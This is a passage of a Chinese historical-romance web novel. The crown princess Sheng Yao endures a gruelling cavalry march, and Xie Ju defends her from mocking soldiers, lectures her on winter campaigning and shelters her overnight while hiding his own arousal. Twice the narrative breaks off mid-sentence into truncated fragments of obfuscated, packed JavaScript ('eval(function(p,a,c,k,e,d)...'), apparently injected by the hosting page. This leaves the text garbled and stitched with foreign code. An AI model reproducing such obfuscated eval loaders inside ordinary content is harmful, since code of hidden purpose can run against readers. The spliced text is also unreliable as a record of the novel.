这种强度的行军,对于常年征战的骑兵来说也难坚持,对于一个养尊处优的小公主来说,无异于酷刑。 谢琚看着她,冷静地问, “受得了吗?” 盛尧愤愤地勒紧缰绳。 受不了也得受。 她没回答,一扬马鞭,枣红马长嘶一声,竟然抢先一步,冲在了队伍的最前头。 谢琚就不说话了。没去阻拦。只是安闲地策动白马,始终保持在盛尧侧后方一个马身的位置。不远,不近,大约能在她万一力竭坠马时,一把捞住的距离。 跑开了,便是真正的苦役。 按军制,晨起为“卯饭”。那时天还没亮,甚至鸡都没叫。 寅时三刻(凌晨四点),军营里就会响起第一通刁斗声。越骑为了隐蔽和速度,不设行灶,但春寒夜间冷能伤人,因此夜里每伍挖一个地坑,以此避风且防火光外泄。 当然没有热饭,粟米里掺些豆料,碾碎的豆粉末加水膨开,看起来就是煮成的稠粥,或是硬得像石头一样的“干糇”。 盛尧第一次捧着刁斗,在凛冽的晨风中,往嘴里塞这满是霉味和革囊底下沙土的豆麸军粮时,差点吐出来。 喉咙被剌得生疼,胃里像坠了块石头。 谢琚坐在她旁边的地上,手里也捧着一碗。吃得很慢,动作依旧优雅得像是在吃金齑玉脍,但却一点一点,面无表情地全部咽了下去。 吃完,扔下刁斗。 “吃。”他冷淡地看着盛尧那边剩的大半,“不吃,一会马上颠簸,你会晕过去。晕了,就会被丢在路边。” 盛尧咬着牙,闭着眼,像吞毒药一样把剩下的全塞进了肚子里。 接近卯时(早五点),骑兵拔营。 三千骑兵一旦动起来,便是滚滚铁蹄。为了赶路,张楙下令全军即刻换马,以中速小跑交替疾驰。 马蹄声震。扬起的黄土遮天蔽日,重的很,打在脸上像细细的砂子,磨着脸。 午间不设停顿,仅在马背上轮换副马,人不下鞍,再在马上啃两口粮。 直到戌时(晚七点)以后,日落不见五指,人困马乏到了极限,前哨斥候才会寻找水源扎营。 越骑之所以称雄中都,以作为精锐探骑,就是靠这种骁勇耐力,可盛尧不行。 哪里吃过这种苦。第一天还好,那是凭着一口气撑着的。 到了第二天,屁股和大腿内侧的皮肉,先是火辣辣的疼,然后磨破,血水渗出来粘住裤子,再然后麻木,最后结成硬邦邦的血痂,每一次起伏都是一次撕裂。 马蹄一扬,野地里吹的压根算不上风,就是些粗砺的砂和冰霜渣子,将她的脸吹得干裂起皮。头发里全是灰土,疼得冷汗流下来,冲出一道道泥印。 “跟紧!” “掉队者斩!” 校尉将军张楙在前头吼。大概也没想到这个娇滴滴的皇太女竟然真的跟上来了,而且咬着牙,一声没吭。 为了不掉队,盛尧学会顺着颠簸,在马背上喝水、吃干粮。 她必须要在最前面。在张楙的辔头旁边,绣着“成”字的大旗下面。 只要她还在前边,这三千越骑就还是“护卫皇太女”的王师,全不是谢家的私兵。 “驾!” 盛尧奋力把自己钉在马背上头。 到了第四日,连经验丰富的老兵都开始面露疲色。战马鼻孔喷着白气,身上汗出如浆。 酉时三刻(晚六点),前面哨探的侦骑回来了,安营扎寨。 “前面有水源!下马!” 兵士们娴熟地跳下马背,先不顾自己喝水,各自解开马肚带,牵着战马缓缓遛行。盛尧不懂,打算学着一般做,问了边上老卒,说到军中急行久了,若是骤然停歇饮水,战马容易炸肺而亡。 她就要下马。 可是腿已经麻木得没有知觉。那一瞬间,她感觉下半身都不是自己的,僵硬得像两根木桩子。 她试着动了动,钻心的剧痛,身子一歪,就要往马下跌。 一只手稳稳地托住了她的腰。 “想当主君吗?” 熟悉的声音在身后响起。 他看起来也不好过。脸色比平时更白,戎衣上也全是灰尘,但稍微好些。 青年单手托着她,另一只手快速地在她膝弯按了几处。 “嘶——”疼。盛尧龇牙咧嘴。 “血粘住了。”谢琚低声道,不曾抬头看她,动作轻柔地将她从马背上抱了下来。 落地的那一刻,盛尧腿一软,差点跪倒。 谢琚半个身子借给她靠着,让她缓缓活动早已僵直的血脉。 周围的越骑兵士们都在忙着饮马、吃干粮,没人往这边多看一眼——搞得盛尧也很是奇怪,谢琚在这越军营中,居然得不少人尊重,但却似乎人人与他十分疏离。 “我是不是……”盛尧小小声,生怕自己说话带着哭腔,“是不是很没用?” 四天,这才四天。 她的豪情壮志,快被这无休止的颠簸给磨没了。 谢琚从怀里掏出一个水囊,拔开塞子递给她。水是温的,有淡淡的药味。 “喝了。” 盛尧也没力气问这是什么,仰头灌了几口。暖流入肚,身体终于有了点热气。 谢琚看着她被风吹得毫无血色的脸,又扫一眼她颤抖的双腿。 没用吗? 就算是自幼随军的谢家子弟,第一次如此强度的急行军,也会脱层皮。大哥说他小时候第一次随军,到了第三天就哭爹喊娘地爬进了辎重车。 而这个娇生惯养了十年的傀儡公主,硬是一声不吭地撑了四天。 谢琚收回水囊,目光投向远处正在大声喝骂士卒的张楙。 “那个校尉,”青年语气平淡,“张楙,” “以前是三哥的部下。这行军的速度,比正常‘倍道’还要快了两成。是有意在整你。” “我知道。” “还能坚持吗?” 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众人吸吸鼻子,回过头,就看见昏暗的营地边缘,一个人影正走过来。 谢琚手里提着两只剥洗干净、烤得金黄流油的野兔。没穿甲胄,还是那身稍微有些脏了的黑色箭袖,腰间挂着弓箭。 “四公子……” 几人一愣,神色变得有些古怪。都说这位是个傻子,可这几天急行军下来,这傻子骑术精湛,行止如常,怎么看都不像是个痴儿。 张楙亲卫自然称不上服他,但他是相府公子,众人也不敢太过造次,幢队长朝他赞道: “公子好手段,这时候还能打着牙祭。” 谢琚没理他,没正眼瞧这几个人。只是路过,正打算把这兔子带去给某个疼得龇牙咧嘴的主君。 “我觉得……殿下不容易。” 忽然,围坐的人堆里,有个年轻人说。 是个十六七岁的少年卒子,脸上还带着几分稚气,缩在最角落里。 “这四天,哪怕是咱们营里的老兵,也有叫苦的。殿下是千金之躯,辔头都扯出血了……她硬是一声没吭。我觉者,咱们不该这么笑话她。” “哟?” 幢队长笑道,“我看你是想婆娘想疯了吧?看人家长得漂亮,还敢心疼?” 周围顿时发出一阵更加下流的哄笑。 “小崽子毛还没长齐,就知道怜香惜玉了?” “那可是未来皇帝,你要是想爬她的床,还得问问咱们四公子答不答应呢!哈哈哈哈!” 少年脸涨得通红:“我不是!我就觉得……” “觉得个屁!”幢队长伸手就要去推搡少年的头。 铮。 轻微的剑鸣,宛如夜风刮过枯草。 哐啷一声,中间那只冒着热气的陶罐向旁翻倒。 滚烫的汤泼洒进炭火,刺啦一下,腾起浓烈的白烟和焦糊味。火星四溅,烫得周围几个老兵哎哟直叫,连滚带爬地向后躲。 “谁!哪个不长眼的……” 幢队长捂着被烫到的手背,破口大骂,刚一抬头,剩下的话就被噎进喉咙。 火光明明灭灭。 “四……四公子……” 几个越骑霍地站起,手按刀柄,怒目而视。这虽然是丞相公子,但这里是越骑营,是张将军的地盘! “喧哗。私火。妄议。”谢琚将下襟一撩,踏上那生火坡,剑尖点点,平静道。 “行军途中,私自聚众,此乃‘阿党’。”他抬起下巴,示意翻倒的陶罐,里面流出些偷藏的酒气,“私藏违禁,此乃‘犯令’。” “张楙治军不严。按《成军令》,七人聚首窃语者,斩。怎么,你们这几颗脑袋,是都不想要了?” 青年稍作停顿,撤开剑,语气十分诚恳: “我是在救你们。” “你——!” 那幢队长被烫得满头冷汗,咬牙切齿:“四公子,就算要灭火,也不用……” “手滑。” 青年简洁地打断他,提起手里的兔子,撕下大半只往前一扔。 众人一喜,伸手接过,他转回身, “你。” 谢琚下颌微扬,点了点那少年。 “带着你的东西,跟我过来。” 少年一愣,看了看众人,又看看谢琚,最后还是慌忙爬起来,抓着弓矢跟了上去。 …… 回到那处只有一条毡布的露宿地时,盛尧正把自己堆在旁边枯枝底下, 膝盖上的伤口跟布料粘连在一起,稍微一动就是钻心的疼。她咬着牙,试图把那一块被血洇硬了的裤管撕开。 “嘶——” 面前忽然多了个东西。 一根树枝,上面串着只烤得金黄流油的兔腿,香气扑鼻。 “阿摇。” 盛尧赶紧把裤腿放下来,装作若无其事的样子抬起头。 看见谢琚正把剩余的兔子肉撕下,包在一片干净的大叶子里。 “……哪来的?”盛尧问,除了硬得像石头的豆饼和干肉,她没见过半点油星。 “捡的。”谢琚面不改色,把兔腿塞进她手里, “太累了。我可吃不了这行军的苦。” 然后指指那个阴影里的少年。 “给你。” 盛尧抱着兔子腿,有点懵:“什么苦?给我?这……这能吃吗?” “人。”谢琚无奈,“这是个人。” 42. 狗才要看你 盛尧这才看清那个局促不安的少年,穿着越骑的服色,脸上有几道黑灰,正紧张地抓着衣角。 谢琚在一旁找块石头坐下:“这小子刚才替你说话,差点被人揍了。” “有点傻气,倒是挺像你。” “替我说话?”盛尧一愣,绽开一个笑,“多谢你啦。你叫什么名字?” 少年脸涨得通红,结结巴巴地答道: “回……回殿下,……我叫幸。” “幸?”盛尧问,“幸运的幸?” “是。”少年答道,“阿爹说,俺小时候遭了瘟疫还能活下来,是大幸,就起了这个名。” “挺好。”盛尧点点头,从那只野兔上撕下一条后腿,递给少年,“给,你也吃点。” 少年连连摆手:“不不不,这是公子给殿下……” “拿着。”谢琚淡淡道,“殿下赏你的,就是你的。” 少年这才小心翼翼地接过,却不舍得吃,只揣在怀里,眼睛亮晶晶地看着盛尧。 “鲫鱼,”盛尧纳闷,“你干嘛对他那么好?” “好么?” 谢琚反问,又往暗火坑里添了根柴。 “一只兔腿,换一条在这个军营里愿意卖命的舌头,划算得很。” 他转过头,盛尧狼狈不堪。头发乱蓬蓬的,脸上黑一道白一道,哪还有半点金枝玉叶的样子。 青年犹豫半晌, “阿摇。” 声音低柔,和着夜风, “若是你坐在后面的安车里,一路舒舒服服到了平原津。在这些人眼里,你也就是个供在案台上的泥塑,金尊玉贵,却一碰就碎。” 他指指远处那些围坐在一起的士兵。 “越骑大多是越人内附,性子野,你这四天跟着他们,他们嘴上虽然还在骂,但心里……” 对着她即便疲惫不堪却依然明亮的眼睛。 “他们已经在看你了。” “这支军队,你跟下来,你就是袍泽。到了平原津,哪怕不用虎符,这里头也有一半的人,愿意听你说句话。” 他抬起头, 叫幸的少年得了东西,又被谢琚凉飕飕的眼神一扫,也不敢多待,揣着兔腿,一步三回头地回去人堆里。 “怎么样?”谢琚拍拍手上的油渍,也不拿正眼看吃着的盛尧,只瞥一眼她的腿,下巴微扬。 盛尧还在回味“袍泽”的夸奖,觉得自己这形象肯定很是高大,强撑着想要换个舒服点的姿势,结果才刚一动,脸就疼得皱成一团包子。 “……没大碍。”盛尧狼吞虎咽地吃完了手里的兔子,“就是磨破点皮,不要紧。” “不要紧?” 谢琚忽然冷笑一声,那温柔退去,变得尖锐而愤怒。 他一把攥住她的脚踝,不让她动弹, “唔!”盛尧疼得浑身一哆嗦,眼泪差点又要飚出来。 谢琚脸色铁青地盯着她, “殿下,你脑子里装的都是些什么?浆糊?你知道这种天气跟着轻骑急行军四百里是什么样吗?” “冻疮烂到骨头,这双腿就废了。到时候是打算爬着去平原津见我大哥,还是让我把你背过去?” 盛尧被他突然的诘问吓得一愣,脚踝被攥得生疼,还没来得及反驳,就见他松开她的脚踝,手里的枯枝被一把折断。 “东宫姓卢的老头,整日里只知道教你读《春秋》!怎么就不晓得教教你《冬夏》呢!” 盛尧懵了一下。 在脑子里疯狂搜索,四书五经,诸子百家…… “什么……《冬夏》?”她茫然地问,“有这本书吗?” 谢琚被她气得眼前发黑——绝望地闭上眼。 盛尧琢磨好几圈,忽然福至心灵,从她那实在没有学到很多的太子时代,想起太傅曾经讲过的一句闲话。 ——“凡用兵之法,驰车千驷,革车千乘……故冬夏不兴师。” 冬夏无大事,举事在春秋。 冬日严寒,夏日酷暑,皆非用兵之时。史书之所以叫《春秋》,正是因为在礼乐崩坏的年代,那是诸侯征伐、也是朝聘会盟最频繁的时节。 如今天下,高昂在北,盛衍在西,虽然都在蠢蠢欲动,但为什么至今没人真正动手? 大约与谢巡尚在有关,但绝不是因为尊崇她这个皇太女。 而且现在是冬天!眼下就快要开春了! 这也是为什么空有个名头的皇太女,还能苟延残喘到现在,没被诸侯立刻发兵废立的原因之一。 盛尧张张嘴,看着谢琚。 原来他是这个意思。在气她不知天高地厚,不知冬日行军是在与天争命,拿着老天爷赏的这一点点“休战期”在赌。 谢琚见她呆呆的样子,嫌弃地一甩手。 “怎么?终于想明白了?知道自己是在阎罗王鼻梁上跳舞了?” “我……我不走不行。”她低下头,小声辩解,“若是等开了春……” 青年目光在她身后冷淡转过,空荡荡的,连个鬼影都没有。 “走就走,你为什么不坐车,不带人?就算不带内卫,为什么不把你那两个宝贝侍女带上?那个毒嘴小圆脸呢?” 提到卢览,盛尧立刻进入了战斗状态。 “阿览不是侍女!”她大怒,“小丸也不是!她们是臣子!” “臣子又如何?”谢琚皱眉,“臣子不就是用来使唤的?” “那是别人家的臣子!我的不行!” 盛尧气急了,用力把谢琚一推,大声道:“急行军是要命的事!越骑一人三马都累得半死,阿览文弱,小丸还要护着她。这路上风霜刀剑,万一出了事怎么办?” “我既然是主君,我既然把她们带出来了,她们就是我的本钱!我还要靠着她们,不然我难道靠皇后吗?!” 寒风呼啸,谢琚看着她。本来应该像是桃花般的脸上,阴云密布。 “那你打算怎么办?” 青年冷冷地瞟过盛尧那条显然已经僵硬的腿,眼尾弧度侧边,毫无预兆地泛起了一圈红。 好像真是被气得狠了,也像是被别的什么东西给逼迫的。那样一张苍白昳丽的脸,配上这突如其来的眼红,绮丽得难以言喻。 “血要是跟裤子长在一块儿,回头撕下来能带掉你一层皮。殿下是打算就这么扛着,等到了平原津,让你的‘本钱’抬着你去见我大哥?” 盛尧见好就收,气势登时矮了半截。 晓得自己现在是个什么惨状。腿上钻心疼痛一阵阵往天灵盖上冲,刚才的一推已经是强弩之末。 “我……我有药。”盛尧从怀里摸出个小瓷瓶,出门行军,此前备了不少。 谢琚一把抢过,拔开塞子闻了闻,还行,不算太次。 “裤子挽起来。” “什么?”盛尧大惊,“不行不行!” “不行?”漂亮的眉毛就皱起来了。 “这……这还在外面呢!”盛尧匆忙解释,“而且……而且男女授受不亲……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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盛尧看着旁边的背影。黑色的箭袖贴合着他的脊背,随着呼吸微小的起伏。 “……我要开始了。”她小声嘀咕,算是提醒。 谢琚没理她,只是背影似乎更僵硬几分。 悉悉索索的衣料摩擦声响起,哪怕动作轻些,在这距离依然能明白地听见。 盛尧咬着牙,血痂被撕开的瞬间,疼得她倒吸一口冷气,“嘶——” 前面的背影突然颤了一下。 “别回头!”盛尧立刻喊道。 谢琚的头动了一半,硬生生停住,又恼怒地转了回去。 药粉洒在伤口上,像是在撒盐。盛尧疼得额头冒汗,手抖得拿不稳瓶子,身子也不由自主地往旁边歪,在这凹凸不平的土坡底下坐都坐不稳。 “疼吗?” 声音从前头冷冰冰地传来,漠然地很。 “废话……”盛尧疼得抽气,“你把你腿磨烂了试试……哎哟……” 她试图换个姿势,却不小心碰到另一处伤,身子一晃,就要往后仰倒。 一只手忽然向后探过。 准确无误地抓住了她的肩膀。 谢琚没回头。背对着她,反手伸着手臂,五指紧扣住她的肩。 “你……” “靠着。” 谢琚打断了她的话,声音有些发紧,似乎是生气,又似乎是妥协后的自暴自弃。 暗火在坑底无声地燃烧,热度并不足以驱散寒冷,却足够将这种隐秘的温度,顺着衣料一点点渗带过来。 “自己不带人,自己就要受着。” 谢琚冷淡地对她说。 盛尧疼得脑子发木,思考不得该对他说什么,沉默了好久。 “不然……”青年忽而焦躁地声音一低, “……你靠我身上。” 43. 忍着 盛尧大出意外。 在野地里,从这位逼着她娇养、连泥点子溅在袖口都要拿剪刀剪掉的谢四公子口中,听到这般体贴的话,实在比看见太阳打西边出来还稀奇。 她打量被黑色箭袖勾勒出的青年身形,冒出些难以言说的违和感。但很快,违和感就被疼痛,和名为“理直气壮”的情绪给压了下去。 想想。在别苑书房那些天,他哪天不是把自己当个人形挂件,恨不得整个人都盘在她身上?伏在她案边,把下巴搁在她肩膀睡觉的时候,可从来没跟她讲过什么客气。 那时候他是装傻充愣,现在她是真的伤患。 反正早就习惯了他在身边黏黏糊糊的。再矫情,这腿怕是真要废在这儿。君臣之道,这就叫“礼尚往来”。 “那我不客气了。” 盛尧脑仁发木,身子一歪,就要往他背上靠。 “嗯。” 一声低低的闷哼。 背后的躯体有些许的僵硬,但很快平复。 盛尧以为是他嫌那件戎衣上沾了灰,打算稍稍撤开点距离。 “等等。” 谢琚却侧过身。 平日里只用来斟酒弄月的手,此刻略显急躁地按上腰间。咔哒一响,蹀躞带铜扣被解开。 他一把扯掉束腰的革带,单手利落地将戎衣脱下,丢在旁边。 没了皮革甲片,里头只剩下一件单薄的白色中衣。雪白的,带着体温的中衣,在星辰底下泛着微光。即便是在这泥尘仆仆的行军途中,他这件贴身衣物依然保持着诡异的洁净。 “靠吧。” 青年重新转回去, “你不冷吗?”盛尧担忧,“这风大着呢。” “少废话。”谢琚冷冷地截断。“睡觉。” 盛尧也不含糊,忍着腿上的剧痛,小心翼翼地把身体挪过去。后背触到温软的棉布,底下是温热坚实的肌理。 她本来疼得厉害,将将要发起热,又冷得发抖,被这体温一烘,迷迷糊糊地居然觉得舒服了许多。 “天亮还要赶路。” 盛尧赶紧凑合调整姿势,让受伤的腿伸直,脑袋后仰,正好抵在他双肩蝴蝶骨中间的凹陷处。 暗夜荒原,风声呼啸。有个能挡风的热源靠着,实在是太舒服了。紧绷了四天的精神终于松懈下来,眼皮发沉,没多会儿就真的要昏睡过去。 周围很安静,只有偶尔几声战马的响鼻,和枯枝在灰土底下闷闷燃烧的细小声音。 …… 可身后的热度,却越来越高。 起初只是暖和,后来简直像是个火炉。烫得盛尧即便隔着几层衣服,都觉得后背有些发烧。 “鲫鱼……”她迷迷糊糊地想,这傻子该不真把脑子烧坏了吧? 念头刚一冒出来,一滴水忽然掉在她的手背。 凉冰冰的,带着点潮湿气。 下雨了? 盛尧睁开眼,抬头看天。星子稀疏,并没有下雨。 那是…… 又一滴。这次落进她脖颈,顺着滑下去,激起一层鸡皮疙瘩。 是汗。 盛尧兜头清醒过来。 这么冷的天,谢琚只穿了一件单衣,坐在风口里,竟然出了一身的汗? 他怎么出了这么多汗? 盛尧吓得仰头。 借着即将燃尽的篝火余光,看见谢琚露在中衣外的后颈。 线条修长优美,绷得却很紧张,布满细密的汗珠。一滴汗顺着湿润成乌黑细绺的发梢滑落,沿着颈椎的凹陷,游进衣襟前头。 “谢琚?” 盛尧顾不得腿疼,挣扎着想要转过身扳他,“你怎么了?是不是受了风寒发热了?” 身后的躯体剧烈地颤抖一下。 “别动!” 一声低喝。 哑得厉害,绝不是青年平素温和的声音,像口中蕴着粗砂,压制着巨大的痛苦。 盛尧被他这一嗓子吼懵了,僵在原地不敢动弹。 该死。 谢四公子在心里把所有能想到的圣贤书都背了一遍,从《公羊》背到《谷粱》。 没用。 尤其是当她仰起头,发丝蹭过,或是像刚才那样,扭动着身子试图转身的时候。 他是个正常的、二十弱冠的男人。当然也不是真正的傻子。 一个活生生的少女,毫无防备地贴上这年轻的躯壳。发丝缠着他的后颈。 因为腿伤疼痛,居然还猫着身子不时蹭动几下,寻找更舒服的位置。 杀了他吧。 现在,立刻,马上。让这荒原上的风把他吹成灰烬。 腰侧的触感被无限放大,血液像岩浆一样奔突,聚合抟集着涌入。 这寒风刺骨的荒郊野岭,几千兵马中间,在要辅佐、要利用、名义是他“主君”的少女身后。 那是本能,作为男人的顽劣之处,在无数次嘲讽世人“欲念熏心”以后,老天给他最狠的一记耳光。 如此诚实,又十分卑劣,像一团火,横亘在炙烤的腹部。 可是,他居然不能动。 一旦起身,或者稍微换个姿势,显而易见的反应就会彻底暴露在她面前。 那就真的是万劫不复。 谢琚一边忍受着这种几欲爆炸的折磨,一边还要克制住每一块肌肉,不敢有丝毫的动弹,生怕被她察觉到异样。 堂堂谢家麒麟子,宁可把外衣脱了受冻,试图用寒风来压下心头的邪火。 可是这风太小了,又根本吹不散这火。 “谢琚……” 身后的少女完全不知道他在经历哪种的天人交战,只感觉他抖得越来越厉害,汗水都浸湿了她的后背。 怎么能对一个信任地靠在自己背上睡觉的小姑娘,起这种禽兽不如的反应? 冷汗顺着额角流下来,那是疼出来的,也是愤恨出来的。 盛尧实在是担心得不行,也顾不得他的喝止,艰难地转过半个身子,伸手去探他的额头。 “你出了好多汗……真的没事吗?” 谢琚将头一偏,让过她的手,闭上眼,脖颈后仰,汗水顺着修长的脖颈流淌,滑过青筋突起,荡进敞开的中衣。 “你……” “拿开。” 谢琚咬着牙。 “把手拿开。” 盛尧吓得赶紧缩回手。 谢琚深吸口气,冰冷的空气灌入心胸,勉强压住那股即将失控的冲动。 少女身躯带着涂布的药味,与埋藏烧不尽的余灰,混合成古怪又致命的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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和一轻一重、根本平复不下来的喘息声。 盛尧实在是太累,敷了药,腿上疼痛渐转麻木。靠在这个滚烫的人形暖炉上,没过多久,竟然真的睡着了。 …… 这一夜,对于皇太女殿下来说,是个难得的温暖好觉。 但对于谢四公子来说,无异于一场凌迟。 煎熬了整整一个晚上。 直到寅时,刁斗声一通。 响声就像是个赦令。 谢琚猛抬起头。 白色的中衣皱皱巴巴,有些地方被汗水湿透了,贴在身上。 盛尧揉眼睛,打算与他“再说”,可只来及看见一个苍白的侧脸。 眼尾泛着彻夜未眠的红,眼底还有水汽血丝,眸色幽深得吓人,神色却比清晨的霜雪还要冷漠。 青年就手抓过地上的戎衣,也不穿,胡乱往身上一扎。 “中庶子?”盛尧震惊。 谢琚没理她。没整理仪容,一个箭步冲到旁边,一把抓住那匹正在啃草皮的白马缰绳。 翻身,上马。 一气呵成,这桃花似的青年坐在马上,迫切地左右扫视,余光匆忙地扫过盛尧一眼。 “驾!”